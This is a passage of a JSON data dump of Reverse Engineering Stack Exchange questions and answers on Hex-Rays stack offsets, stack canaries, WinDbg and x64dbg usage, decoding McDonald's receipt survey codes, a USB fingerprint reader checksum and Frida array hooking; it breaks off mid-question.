        "Answer": "<p>You've stumbled into a complicated question. I'll try to answer it in detail, but for starters, the fact that there are two locations shown for a single stack variable does not mean that it is at two different locations. It means that Hex-Rays is using two different ways of referring to the same location on the the stack. Both shown offsets must be interpreted with care, can be highly misleading, and can also be outright wrong. I will explain all of those points below.</p>\n<p>For the sake of discovering local variables on the stack and performing analyses that determine what memory may be overwritten by a given memory write, Hex-Rays needs a consistent way to refer to offsets on the stack. This is complicated because <code>rsp</code> can change throughout the function, and because not all functions use frame pointers like <code>rbp</code>. Thus, it has to do something else to keep track of stack offsets. So, Hex-Rays computes the lowest stack value at any point within the function, uses that as the &quot;bottom of the stack&quot;, and performs all stack-based analysis relative to that point.</p>\n<p>When Hex-Rays prints local variables and displays strings off to the right like <code>[rsp+30h]</code>, that refers to Hex-Rays' internal computation of where the bottom of the stack is. Since <code>rsp</code> can change throughout a function, the location <code>rsp+0x30</code> might mean different things at different points in the function. On x64/Windows binaries that conform to the x64 ABI, <code>rsp</code> will have a consistent value after the function prolog and before the epilog, so the numbers should be reasonably safe to use after the prolog and before the epilog (though I've noticed that they are sometimes off by 8). Since the prolog and the epilog change <code>rsp</code>, those numbers won't be meaningful during the prolog or epilog. In particular, on the first line of the function before the prolog has executed, the <code>rsp</code> number is especially meaningless. On x86 binaries, <code>esp</code> changes often throughout a function, and so those numbers will be generally unreliable as a way to locate stack variables on <code>x86</code>.</p>\n<p>Meanwhile, when Hex-Rays prints a string like <code>[rbp-38h]</code>, the <code>38h</code> refers to offset within IDA's stack frame for the function. I.e., if you were to look at the top of the function, you might see something like:</p>\n<pre><code>.text:000000006202C6F0     var_40= qword ptr -40h\n.text:000000006202C6F0     a1  = xmmword ptr -38h ; &lt;--- HERE\n.text:000000006202C6F0     var_28= qword ptr -28h\n.text:000000006202C6F0     var_18= byte ptr -18h\n</code></pre>\n<p>Although the offsets line up with what's in the stack view, Hex-Rays always prints <code>rbp</code>, whereas x64 functions can use other non-volatile registers as frame pointers. Therefore, you won't always be able to find the value at <code>rbp-Offset</code>, either; you would need to substitute whatever register is being used for the frame pointer (such as <code>r11</code>) in place of <code>rbp</code>. And note that, like <code>rsp</code>, <code>rbp</code> will also change values within the function (e.g. being set in the prolog and restored in the epilog), so even if a function is using <code>rbp</code> as a frame pointer, the <code>rbp-N</code> offsets will only make sense after the prolog and before the epilog.</p>\n<p>If you'd like more technical details about this, you should take a look at <code>hexrays.hpp</code> in the IDA SDK. Specifically, there is a diagram showing what Hex-Rays thinks about the stack, and how the <code>rsp</code>-relative numbers are related to the <code>rbp</code>-relative numbers. You want to search that <code>.hpp</code> file for <code>tmpstk_size</code>. It's also <a href=\"https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp_source.shtml\" rel=\"nofollow noreferrer\">available online</a>. As of the time of writing, it begins on line 4596. I've reproduced it here:</p>\n<pre><code>/*\n                     +-----------+ &lt;- inargtop\n                     |   prmN    |\n                     |   ...     | &lt;- minargref\n                     |   prm0    |\n                     +-----------+ &lt;- inargoff\n                     |shadow_args|\n                     +-----------+\n                     |  retaddr  |\n     frsize+frregs   +-----------+ &lt;- initial esp  |\n                     |  frregs   |                 |\n           +frsize   +-----------+ &lt;- typical ebp  |\n                     |           |  |              |\n                     |           |  | fpd          |\n                     |           |  |              |\n                     |  frsize   | &lt;- current ebp  |\n                     |           |                 |\n                     |           |                 |\n                     |           |                 | stacksize\n                     |           |                 |\n                     |           |                 |\n                     |           | &lt;- minstkref    |\n stkvar base off 0   +---..      |                 |    | current\n                     |           |                 |    | stack\n                     |           |                 |    | pointer\n                     |           |                 |    | range\n                     |tmpstk_size|                 |    | (what getspd() returns)\n                     |           |                 |    |\n                     |           |                 |    |\n                     +-----------+ &lt;- minimal sp   |    | offset 0 for the decompiler (vd)\n \n  There is a detail that may add confusion when working with stack variables.\n  The decompiler does not use the same stack offsets as IDA.\n  The picture above should explain the difference:\n  - IDA stkoffs are displayed on the left, decompiler stkoffs - on the right\n  - Decompiler stkoffs are always &gt;= 0\n  - IDA stkoff==0 corresponds to stkoff==tmpstk_size in the decompiler\n  - See stkoff_vd2ida and stkoff_ida2vd below to convert IDA stkoffs to vd stkoff\n \n*/\n</code></pre>\n<p>TL;DR the reason Hex-Rays shows you two different representations for where a variable is on the stack is because Hex-Rays itself, and IDA, use two different ways of representing the stack frame. The <code>rbp-N</code> numbers refer to the offsets you see in IDA's stack view, and the <code>rsp+N</code> numbers refer to displacements from what Hex-Rays thinks is the bottom of the stack.</p>\n<p>Especially considering that <code>rsp</code> and <code>rbp</code> can change throughout a function, the addresses it shows won't be meaningful at every point within the function. Particularly, none of the numbers make sense before the prolog has finished executing, or after the epilog has begun executing. The <code>esp</code> numbers are particularly unreliable on 32-bit <code>x86</code>, and Hex-Rays will show frame-relative offsets using the <code>rbp</code> register even if the function uses a different register like <code>r11</code> for a frame pointer.</p>\n<p>Simple, right? ;-)</p>\n"
    },
    {
        "Id": "32078",
        "CreationDate": "2023-07-19T17:46:12.330",
        "Body": "<p>Can i insert a variable in c source code\nThat will be right before the stack canary, and after all local variables.\nLike I want to try to implement my own stack canary in source code, is it possible?</p>\n<p>Thanks</p>\n<p><strong>Update</strong></p>\n<p>Can you please explain to me what is this code in <a href=\"https://elixir.bootlin.com/glibc/latest/source/sysdeps/x86_64/stackguard-macros.h#L3\" rel=\"nofollow noreferrer\">linux source code</a>?</p>\n<pre><code>#define STACK_CHK_GUARD \\\n  ({ uintptr_t x;                       \\\n     asm (&quot;mov %%fs:%c1, %0&quot; : &quot;=r&quot; (x)             \\\n      : &quot;i&quot; (offsetof (tcbhead_t, stack_guard))); x; })\n</code></pre>\n<p>If it's in the compiler what exactly is this implantation?</p>\n",
        "Title": "Can I insert a variable right before the stack canary",
        "Tags": "|stack-protector|",
        "Answer": "<p>You can't control where the compiler will put a local variable on the stack. It could put it anywhere on the stack, or even eliminate it entirely (for example, hold it in a register). There's a reason that mitigations like these are implemented inside of the compiler itself and not as source-level transformations.</p>\n"
    },
    {
        "Id": "32085",
        "CreationDate": "2023-07-22T13:27:39.517",
        "Body": "<p>I want to use the x command to search for functions that take _NET_BUFFER_LIST as an argument(maybe they will take more than one argument). Its symbol is ndis!_NET_BUFFER_LIST.\nThe command I use</p>\n<pre><code>0:000&gt; x /s module!module+0x1000 L?0xffffffff &quot;ndis!_NET_BUFFER_LIST&quot;\nCouldn't resolve error at 'tcpip!tcpip+0x1000 L?0xffffffff &quot;ndis!_NET_BUFFER_LIST&quot;'\n\n0:000&gt; x /s module!module+0x1000 L?0xffffffff ndis!_NET_BUFFER_LIST\nCouldn't resolve error at 'tcpip!tcpip+0x1000 L?0xffffffff ndis!_NET_BUFFER_LIST'\n</code></pre>\n<p>How should I change my command to achieve my goal?</p>\n<p>I have tried commands in various forms. Some of them may not qualify the syntax. I thought add 'L?0xffffffff' could make sure dbg only walk through one module. But like blabb said, I should use another method instead and x doesn't support offset.</p>\n",
        "Title": "windbg command to search all functions that take in certain arguments",
        "Tags": "|windbg|",
        "Answer": "<p>why using switch s ? switch s takes a size parameter and you do not give it ?</p>\n<p>you are looking for a symbol from ndis on a module named tcpip ?</p>\n<p>what is the L?0xffffxxxx doing there ?</p>\n<p>are you sure symbol name takes the form of string with enclosed double quotes ?</p>\n<p><a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/x--examine-symbols-\" rel=\"nofollow noreferrer\">Have you referred the documentation ?</a></p>\n<p>x examines symbols and it takes a symbol name not a string<br />\nx does not use module start len format it either takes a complete symbol name or a wild card with partial symbol name</p>\n<p>arguments are available only if the pdb has full type information</p>\n<p>most of the public pdbs availabe in ms symbol store  are stripped of type information<br />\nso there is no way you can find the function arguments</p>\n<p>in your case ndis has type information but tcpip does not</p>\n<p>if there is type information you can use .shell command</p>\n<p>redirect the output to be parsed with external utility like grep sed awk find findstr etc</p>\n<pre><code>0: kd&gt; .shell -ci &quot;x ndis!*&quot; grep  _NET_BUFFER_LIST\nfffff805`79a45d64 ndis!ndisPendWorkOnSetBusyAsyncLocked (void __cdecl ndisPendWorkOnSetBusyAsyncLocked(struct _NDIS_SELECTIVE_SUSPEND *,enum _NDIS_SS_BUSY_REASON,void *,unsigned long,struct _NET_BUFFER_LIST * *,struct _LIST_ENTRY *,unsigned char *))\nfffff805`79a4bed0 ndis!ndisVerifierNdisFSendNetBufferListsComplete (void __cdecl ndisVerifierNdisFSendNetBufferListsComplete(void *,struct _NET_BUFFER_LIST *,unsigned long))\nfffff805`79a46374 ndis!ndisReplaySendNbls (void __cdecl ndisReplaySendNbls(struct _NDIS_MINIPORT_BLOCK *,struct _NET_BUFFER_LIST *,unsigned char))\nfffff805`79a5c250 ndis!ndisMCoSendNetBufferListsCompleteToNetBufferLists (void __cdecl ndisMCoSendNetBufferListsCompleteToNetBufferLists(void *,struct _NET_BUFFER_LIST *,unsigned long))\nfffff805`79a461f8 ndis!ndisRemoveFromNblQueueByCancelId (struct _NET_BUFFER_LIST * __cdecl ndisRemoveFromNblQueueByCancelId(struct _NBL_QUEUE *,void *))\n</code></pre>\n<p>tcpip does not have type information</p>\n<pre><code>0: kd&gt; .shell -ci &quot;x tcpip!en*&quot; grep -i no.*type.*inf.*\nfffff805`79df45e0 tcpip!EndpointSessionState = &lt;no type information&gt;\nfffff805`79dfbb58 tcpip!endpointPPLookasideList = &lt;no type information&gt;\nfffff805`79df55f0 tcpip!engineData = &lt;no type information&gt;\nfffff805`79dfbd88 tcpip!endpointLruLookasideList = &lt;no type information&gt;\nfffff805`79dfbc80 tcpip!endpointHandleTable = &lt;no type information&gt;\nfffff805`79df5820 tcpip!endpointCleanupWorkQueue = &lt;no type information&gt;\n.shell: Process exited\n</code></pre>\n"
    },
    {
        "Id": "32103",
        "CreationDate": "2023-07-28T14:20:16.427",
        "Body": "<p>I'm currently debugging a program using x64dbg, and I'm wondering how to quickly jump to the start or end (prologue/epilogue) of a function while I'm in the middle of it. I couldn't find this information through Googling.</p>\n<p>Specifically, I'd like to know if x64dbg has any built-in commands or shortcuts to navigate directly to the beginning or end of a function while debugging. If such functionality exists, what are the steps or commands to use it effectively?</p>\n<p>Additionally, if there are any alternative methods or plugins available that can achieve this, I'd appreciate hearing about them as well.</p>\n<p>Related</p>\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/17042/how-to-jump-to-the-start-end-of-a-function-in-ida-disassembly\">How to jump to the start/end of a function in IDA disassembly?</a></li>\n</ul>\n",
        "Title": "How can I jump to the start/end of a function in x64dbg?",
        "Tags": "|debugging|x64dbg|functions|",
        "Answer": "<p>In x64dbg, You can right-click the beginning of the function or any place in the instructions/disassembly that you want the execution to continue from for that matter, and simply press on &quot;Set New Origin Here&quot; or Ctrl+*.</p>\n"
    },
    {
        "Id": "32129",
        "CreationDate": "2023-08-04T14:38:09.683",
        "Body": "<p>Receipts from McDonald's in the UK include a code that allows you to complete an online survey as shown in the attached image (in the green box):</p>\n<p><a href=\"https://i.stack.imgur.com/pBh00.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/pBh00.jpg\" alt=\"McDonald's receipt\" /></a></p>\n<p>After gathering and comparing several receipts I have deduced that the codes use a base 25 alphanumeric system consisting of the following characters:</p>\n<pre><code>C M 7 W D 6 N 4 R H  F  9  Z  L  3  X  K  Q  G  V  P  B  T  J  Y\n0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24\n</code></pre>\n<p>25 would therefore be <code>MC</code>, 26 <code>MM</code>, 27 <code>M7</code>, etc.</p>\n<p>The code for this receipt is <code>7MXW-NLH4-ZQ3K</code> and can be broken down as follows:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Code</th>\n<th>Decimal</th>\n<th>Meaning</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>7MX</code></td>\n<td>1290</td>\n<td>Store ID.</td>\n</tr>\n<tr>\n<td><code>W</code></td>\n<td>3</td>\n<td>Not sure, but the vast majority of receipts always seem to have <code>W</code> here.</td>\n</tr>\n<tr>\n<td><code>NL</code></td>\n<td>163</td>\n<td>Order ID: last two digits + 125, so can be reversed by <code>163 % 125</code> which is 38.</td>\n</tr>\n<tr>\n<td><code>H4ZQ3K</code></td>\n<td>90,823,491</td>\n<td>Probably the date/time of purchase - more below.</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>I have noticed that the last number (i.e. what I assume is the purchase date/time) increases with time when comparing receipts.</p>\n<p>For example, another code's last 6 characters are <code>H4F6XN</code> (90,784,756) and the order was placed on 2022-12-27 19:10:05, just over a day before. A quick comparison:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Order 1</th>\n<th>Order 2</th>\n<th>Difference</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>90,823,491</td>\n<td>90,784,756</td>\n<td>38,735</td>\n</tr>\n<tr>\n<td>2022-12-28 20:59:51</td>\n<td>2022-12-27 19:10:05</td>\n<td>92,986 (seconds)</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Dividing the difference of seconds by the difference of the 6 character number:</p>\n<pre><code>92,986 \u00f7 38,735 = 2.4 (approx.)\n</code></pre>\n<p>It would therefore seem that the number increases by 1 every 2.4 seconds. The result of 60 \u00f7 25 also happens to be 2.4 which means 1/25th of a minute can be represented by a character from the base 25 system.</p>\n<p>Following the assumption of the number increasing by 1 every 2.4 seconds it seems that the first datetime (or &quot;epoch&quot;) is approximately <code>2016-02-01 00:00:00</code>.</p>\n<p>Therefore to decipher the final value of <code>H4ZQ3K</code> in the first receipt:</p>\n<ol>\n<li>90,823,491 \u00d7 2.4 = 217,976,378.4 seconds</li>\n<li>2016-02-01 00:00:00 + 217,976,378.4 seconds = 2022-12-28 20:59:38.4</li>\n</ol>\n<p>...but note how the predicted timestamp is incorrect - off by 12.6 seconds (the other receipt comes out at 2022-12-27 19:10:14.4 - 9.4 seconds ahead).</p>\n<p>I'm stumped as to what's causing the error - does anyone have any ideas?</p>\n<p>Some more codes for reference (note how the predicted timestamp is never more or less than 60 seconds):</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Code</th>\n<th>Last 6 chars (decimal)</th>\n<th>Purchased</th>\n<th>Predicted</th>\n<th>Ahead by (seconds)</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>7MXW-NLH4-ZQ3K</code></td>\n<td>90,823,491</td>\n<td>2022-12-28 20:59:51</td>\n<td>2022-12-28 20:59:38.4</td>\n<td>-12.6</td>\n</tr>\n<tr>\n<td><code>M3NW-YRH4-F6XN</code></td>\n<td>90,784,756</td>\n<td>2022-12-27 19:10:05</td>\n<td>2022-12-27 19:10:14.4</td>\n<td>+9.4</td>\n</tr>\n<tr>\n<td><code>MNKW-M6H4-7FQX</code></td>\n<td>90,662,940</td>\n<td>2022-12-24 09:57:46</td>\n<td>2022-12-24 09:57:36</td>\n<td>-10</td>\n</tr>\n<tr>\n<td><code>CRGW-ZYHN-KHBP</code></td>\n<td>90,490,545</td>\n<td>2022-12-19 15:01:03</td>\n<td>2022-12-19 15:01:48</td>\n<td>+45</td>\n</tr>\n<tr>\n<td><code>CQMW-L9HN-KNC7</code></td>\n<td>90,488,127</td>\n<td>2022-12-19 13:25:56</td>\n<td>2022-12-19 13:25:04.8</td>\n<td>-51.2</td>\n</tr>\n<tr>\n<td><code>M9JW-QCH6-PT3Z</code></td>\n<td>90,170,362</td>\n<td>2022-12-10 17:34:42</td>\n<td>2022-12-10 17:34:28.8</td>\n<td>-13.2</td>\n</tr>\n<tr>\n<td><code>7NLW-NFH6-7XLV</code></td>\n<td>89,884,719</td>\n<td>2022-12-02 19:08:02</td>\n<td>2022-12-02 19:08:45.6</td>\n<td>+43.6</td>\n</tr>\n<tr>\n<td><code>MLZW-Y3HD-YTP9</code></td>\n<td>89,842,386</td>\n<td>2022-12-01 14:55:38</td>\n<td>2022-12-01 14:55:26.4</td>\n<td>-11.6</td>\n</tr>\n<tr>\n<td><code>MBQW-RCHD-YNQ9</code></td>\n<td>89,832,311</td>\n<td>2022-12-01 08:12:04</td>\n<td>2022-12-01 08:12:26.4</td>\n<td>+22.4</td>\n</tr>\n<tr>\n<td><code>MP4W-6DHM-QNNC</code></td>\n<td>88,550,775</td>\n<td>2022-10-26 17:51:16</td>\n<td>2022-10-26 17:51:00</td>\n<td>-16</td>\n</tr>\n<tr>\n<td><code>7HGW-RFRG-9JX9</code></td>\n<td>85,342,886</td>\n<td>2022-07-29 15:15:30</td>\n<td>2022-07-29 15:15:26.4</td>\n<td>-3.6</td>\n</tr>\n<tr>\n<td><code>MJFW-YNRK-P66H</code></td>\n<td>84,690,759</td>\n<td>2022-07-11 12:30:01</td>\n<td>2022-07-11 12:30:21.6</td>\n<td>+20.6</td>\n</tr>\n<tr>\n<td><code>CRFD-NZRZ-JZGP</code></td>\n<td>83,179,845</td>\n<td>2022-05-30 13:13:26</td>\n<td>2022-05-30 13:13:48</td>\n<td>+22</td>\n</tr>\n</tbody>\n</table>\n</div><hr />\n<p>Python functions for encoding/decoding:</p>\n<pre class=\"lang-py prettyprint-override\"><code>CHARS = &quot;CM7WD6N4RHF9ZL3XKQGVPBTJY&quot;\nBASE = len(CHARS)\n\ndef encode(num):\n    encoded = &quot;&quot;\n    while num &gt;= BASE:\n        encoded = CHARS[num % BASE] + encoded\n        num //= BASE\n    return CHARS[num] + encoded\n\ndef decode(encoded):\n    num = 0\n    for x, c in enumerate(encoded):\n        exp = len(encoded) - x - 1\n        num += (BASE**exp) * CHARS.find(c)\n    return num\n</code></pre>\n",
        "Title": "McDonald's receipt codes",
        "Tags": "|decryption|encryption|",
        "Answer": "<p>As suggested in a comment, the final character is indeed a check digit. It appears to be calculated using the <a href=\"https://en.wikipedia.org/wiki/Luhn_algorithm\" rel=\"nofollow noreferrer\">Luhn algorithm</a> with 25 as the base instead of 10.</p>\n<p>Using the code in photo as an example:</p>\n<ol>\n<li>The code without a check digit: <code>7MXWNLH4ZQ3</code>.</li>\n<li>Convert to decimal: <code>[2, 1, 15, 3, 6, 13, 9, 7, 12, 17, 14]</code>.</li>\n<li>Start from the right and double every number in an even position.</li>\n<li>If a number exceeds 24, re-encode it and sum the digits (e.g. 14 \u00d7 2 = 28, which becomes <code>MW</code>, which becomes <code>[1, 3]</code>, which becomes 4).</li>\n<li>Sum all the digits.</li>\n<li>If <code>(total % 25) &gt; 0</code>, the check digit is <code>25 - (total % 25)</code>, otherwise it's <code>0</code>.</li>\n<li>In this case, it's 16, or <code>K</code> in the base 25 character set.</li>\n</ol>\n<hr />\n<p><strong>Update:</strong> I've created a script to do all this, available on GitHub <a href=\"https://github.com/sapphire-bt/mcdonalds-uk-survey-codes\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "32131",
        "CreationDate": "2023-08-04T16:11:23.003",
        "Body": "<p>I am using x64dbg to explore image files on Windows. After the computer finishes prowling ntdll.dll it jumps to OptionalHeader.AddressOfEntryPoint.\nBut this is not my main()-function.</p>\n<ol>\n<li>What is this code in my EXE that is not mine?</li>\n<li>Can you remove it so there is only my main()-function remaining?</li>\n<li>Do you know a way to find the main()-function easily?</li>\n</ol>\n",
        "Title": "Create exe that jumps directly into main()-function from C",
        "Tags": "|c|pe|x64dbg|",
        "Answer": "<p>The code that runs before your <code>main</code> function is the C Runtime (CRT) initialization code. There are ways to remove it, such as via the <code>/NODEFAULTLIB</code> and <code>/ENTRY</code> command-line options to the linker, but be careful what you wish for. If any of your code calls functions in the C standard library (such as <code>printf</code>, <code>malloc</code>, etc.), you will not be able to link your code into a final binary unless you provide your own implementations for those functions. Your implementations must be from scratch; you won't be able to rely upon any standard library functions, or implement them using any third-party library that itself relies upon the standard library. This is not a beginner-friendly task, to put it mildly.</p>\n<p>To find the <code>main</code> function in a binary: first, note that tools such as IDA do this automatically. To do it manually, first familiarize yourself with the CRT functions that execute before <code>main</code>, find where it calls <code>main</code>. Then, for any given binary, you can locate the address of <code>main</code> by examining those CRT functions around the locations where they call <code>main</code>.</p>\n"
    },
    {
        "Id": "32134",
        "CreationDate": "2023-08-05T20:25:07.283",
        "Body": "<p>I'm trying extract .wav files from a datafile, and each file has some metadata at the end of it.\nIt contains a date, '1996-05-16' as shown here:</p>\n<p><a href=\"https://i.stack.imgur.com/qQCAX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qQCAX.png\" alt=\"enter image description here\" /></a></p>\n<p>Most of these dates for the files are correct, but some have special chars in them, like here:</p>\n<p><a href=\"https://i.stack.imgur.com/puYV9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/puYV9.png\" alt=\"enter image description here\" /></a></p>\n<p>What's going on? I'm using the HxD editor.</p>\n<p>edit: also seeing these zeros between 'RIFF' which should be a complete word/identifier for WAV files. Is the data corrupted? I get the feeling the .EXE might be doing some decoding on this data?\n<a href=\"https://i.stack.imgur.com/gWXVA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gWXVA.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "I don't understand this hexeditor output",
        "Tags": "|hex|",
        "Answer": "<p>Looks like some form of <a href=\"https://en.wikipedia.org/wiki/Run-length_encoding\" rel=\"nofollow noreferrer\">run length encoding</a> could be custom since it's quite simple to write. You can lookup run length encoding in TGA image files for a code example. But personally I would first check if it's LZ4 since that uses RLE. You will likely need to use the LZ4 api if so. I would write a for loop that attempts to LZ4 inflate at offset 0,1,2,3,... and see if any complete without error and have an expected size.</p>\n"
    },
    {
        "Id": "32157",
        "CreationDate": "2023-08-11T15:12:23.453",
        "Body": "<p>I have been working on reverse engineering and building a Linux driver for a fingerprint reader and have most of it sorted out, but one thing which continues to elude me is that there seems to be 2 bytes in each payload that are some kind of &quot;check bytes.&quot; I am not sure if one or both are some kind of CRC, a simple sum or XOR of the bytes in some order, maybe some offset or constant XOR being applied to them, or something? But it seems like any kind of logic I work out for 2 or 3 of the examples does not fit for the others.</p>\n<p>Does anyone have any thoughts on what how these could be generated?  More info here if you are super curious to dig in: <a href=\"https://gitlab.freedesktop.org/libfprint/libfprint/-/issues/569\" rel=\"nofollow noreferrer\">https://gitlab.freedesktop.org/libfprint/libfprint/-/issues/569</a></p>\n<p>The &quot;payloads&quot; seem to have an 8 byte prefix (one when reading from the device's bulk in, and one when sending to the device's bulk out), followed by these 2 &quot;check&quot; bytes (not calling them a &quot;checksum&quot; yet as I am not sure what either of them actually represent), then 3 &quot;0&quot; bytes, and either 1 or 2 bytes of some kind\nof type/subtype byte to indicate the type of event or message being sent, finally followed by some kind of &quot;actual&quot; payload for the specific event.</p>\n<p>I am still not sure if the prefix is included in the check algorithm or if it only looks at what comes payload which comes after everything else, or if when there is occasionally some type/subtype suffixes that these are or are not included either.</p>\n<p>But here are some examples:</p>\n<p>BULK IN example payloads (as hex bytes) read from the device during a trace:</p>\n<pre><code>53 49 47 45 00 00 00 01 d5 6d 00 00 00 02 90 00\n53 49 47 45 00 00 00 01 d4 6d 00 00 00 02 91 00\n53 49 47 45 00 00 00 01 d5 69 00 00 00 02 90 04\n53 49 47 45 00 00 00 01 ff 6f 00 00 00 02 65 fe\n53 49 47 45 00 00 00 01 ff d0 00 00 00 04 01 0a 64 91\n53 49 47 45 00 00 00 01 fe d0 00 00 00 04 02 0a 64 91\n53 49 47 45 00 00 00 01 d2 61 00 00 00 04 03 0a 90 00\n53 49 47 45 00 00 00 01 cb 61 00 00 00 04 0a 0a 90 00\n53 49 47 45 00 00 00 01 3a d8 00 00 00 0d 39 30 35 30 2e 31 2e 31 2e 38 31 90 00\n53 49 47 45 00 00 00 01 8d 2c 00 00 00 06 02 04 46 39 90 00\n53 49 47 45 00 00 00 01 9f a5 00 00 00 22 01 89 c4 7f 37 a5 e6 f9 81 c2 b5 45 66 ec 3b ff 26 04 39 77 cb 35 44 ae e8 1d 29 93 41 c0 b4 3b 90 00\n</code></pre>\n<p>BULK OUT example payloads (as hex bytes) sent to the device from the Windows driver during a trace:</p>\n<pre><code>45 47 49 53 00 00 00 01 04 54 00 00 00 07 50 07 00 02 00 00 1d\n45 47 49 53 00 00 00 01 1d 1a 00 00 00 07 50 43 00 00 00 00 04\n45 47 49 53 00 00 00 01 00 47 00 00 00 07 50 16 01 00 00 00 20\n45 47 49 53 00 00 00 01 1d 45 00 00 00 07 50 16 02 02 00 00 02\n45 47 49 53 00 00 00 01 21 46 00 00 00 04 50 1a 00 00\n45 47 49 53 00 00 00 01 1f 49 00 00 00 04 50 16 02 01\n45 47 49 53 00 00 00 01 fc 46 00 00 00 07 50 16 05 00 00 00 20\n45 47 49 53 00 00 00 01 55 f1 00 00 00 27 50 16 03 00 00 00 20 01 89 c4 7f 37 a5 e6 f9 81 c2 b5 45 66 ec 3b ff 26 04 39 77 cb 35 44 ae e8 1d 29 93 41 c0 b4 3b\n</code></pre>\n<p>Any ideas?</p>\n",
        "Title": "Derive logic for 2 \"check bytes\" for a USB fingerprint reader",
        "Tags": "|crc|checksum|",
        "Answer": "<p>In every line the sum of all big-endian words modulo <code>0xFFFF</code> equals to 0.<br />\nExample (the last line):</p>\n<pre><code>0x4547 + 0x4953 + 0x0000 + ... + 0x9341 + 0xc0b4 + 0x3b00 = 0x9FFF6\n</code></pre>\n<p>To verify the checksum:</p>\n<ul>\n<li>append zero byte if number of bytes is odd;</li>\n<li>calculate 32-bit sum of 16-bit words;</li>\n<li>split the sum into 16 low bits and 16 high bits;</li>\n<li>calculate the 16-bit sum (or <code>xor</code>) of the two halves;</li>\n<li>the result must be equal to <code>0xFFFF</code>.</li>\n</ul>\n"
    },
    {
        "Id": "32161",
        "CreationDate": "2023-08-11T18:55:09.570",
        "Body": "<p>Let's assume we have a such code snippet:</p>\n<pre><code>public class Test {\n  public void testArrayValue() {\n    Object[] objects = new Object[1];\n    fillObject(objects);\n    Log.d(&quot;test&quot;, (String)objects[0]);\n  }\n  public void fillObject(Object[] objects) {\n    objects[0] = new String(&quot;fillObject str&quot;);\n  }\n}\n</code></pre>\n<p>How to hook the fillObject method to change the value of the first element in array passed to method?</p>\n<pre><code>Java.perform(function () {\n    var clazz = Java.use(&quot;com.some.package.Test&quot;);\n    clazz.fillObject.overload('[Ljava.lang.Object;').implementation = function(var_0) {\n        \n      // this won't work :( assigning a string value to var_0[0] \n      // does not pass it outside the hooked code\n      // \n      var stringClass = Java.use(&quot;java.lang.String&quot;);\n      var stringInstance = stringClass.$new(&quot;Hello World&quot;);\n      var_0[0] = stringInstance\n    };\n});\n</code></pre>\n<p>The output of running hooked code will be &quot;fillObject str&quot;, and not &quot;Hello World&quot;</p>\n",
        "Title": "Frida Android how to change value of array passed to method",
        "Tags": "|java|frida|",
        "Answer": "<p>Frida seems to have some bugs regarding Java arrays that are modified or replaced by JavaScript code. My guess is that the conversion (and mapping of modifications) between the Java array instance and JavaScript array instance has some flaws.</p>\n<p>Therefore the only alternative I see is using pure Java methods to modify the array content, that way you should be able to bypass this bug.</p>\n<p>One possible way is to use the method <code>Arrays.fill(Object[] array, int fromIndex,int toIndex, Object val)</code><a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#fill-java.lang.Object:A-int-int-java.lang.Object-\" rel=\"nofollow noreferrer\"><sup>1</sup></a>:</p>\n<pre><code>var stringClass = Java.use(&quot;java.lang.String&quot;);\nvar stringInstance = stringClass.$new(&quot;Hello World&quot;);\nvar arraysClass = Java.use(&quot;java.util.Arrays&quot;);\narraysClass.fill(var_0, 0, 1, stringInstance); // equivalent to var_0[0] = stringInstance\n</code></pre>\n<p>I have not tested this code, but it should perform the array modification you  want to do.</p>\n"
    },
    {
        "Id": "32164",
        "CreationDate": "2023-08-12T08:39:41.197",
        "Body": "<p>In IDA, I see a value called dword_1C0203AB4 which doesn't have a symbol name. I want to view the value in system. My windbg is connected to the system and the driver files in system and IDA is the same. My approach is to calculate the offset and add it to the base memory.</p>\n<pre><code>start\n.text:00000001C0001000 _text           segment para public 'CODE' use64\n.text:00000001C0001000                 assume cs:_text\n.text:00000001C0001000                 ;org 1C0001000h\n.text:00000001C0001000                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing\n.text:00000001C0001000                 db 8 dup(0CCh)\n.text:00000001C0001008\n.text:00000001C0001008 ; =============== S U B R O U T I N E =======================================\n.text:00000001C0001008\n.text:00000001C0001008\n.text:00000001C0001008 ; __int64 __fastcall TcpNotifyBacklogChangeSend(PKSPIN_LOCK SpinLock)\n.text:00000001C0001008 TcpNotifyBacklogChangeSend proc near    ; CODE XREF: TcpNotifyTcbDelay+337\u2193p\n.text:00000001C0001008                                         ; DATA XREF: .pdata:ExceptionDir\u2193o\n...\n...\n.data:00000001C0203AB4 dword_1C0203AB4 dd 0FFFFh               ; DATA XREF: CTcpQueryTimeStamp+6\u2191r\n.data:00000001C0203AB4                                         ; CTcpQueryTimeStamp+51\u2191w ...\n.data:00000001C0203AB8 icmpPingLowWaterMark dd 1F4h            ; DATA XREF: IppInspectLocalDatagramsIn+5FED5\u2191r\n.data:00000001C0203ABC EQoSpPolicyAppMarkingSetting dd 0FFFFFFFEh\n.data:00000001C0203ABC                                         ; DATA XREF: EQoSUpdateAppMarkingSetting+A\u2191r\n.data:00000001C0203ABC                                         ; EQoSProcessGlobalSettings+35\u2193r ...\n.data:00000001C0203AC0 EQoSpPolicyTcpAutoTuningSetting dd 0FFFFFFFFh\n</code></pre>\n<p>So the offset should be 202AB4</p>\n<pre><code>kd&gt; lm m tcpip\n\nstart     end      module name\nfffff803'6b750000 fffff803'6ba6a000  tcpip (pdb symbols)  \n</code></pre>\n<p>However, the value is not what I 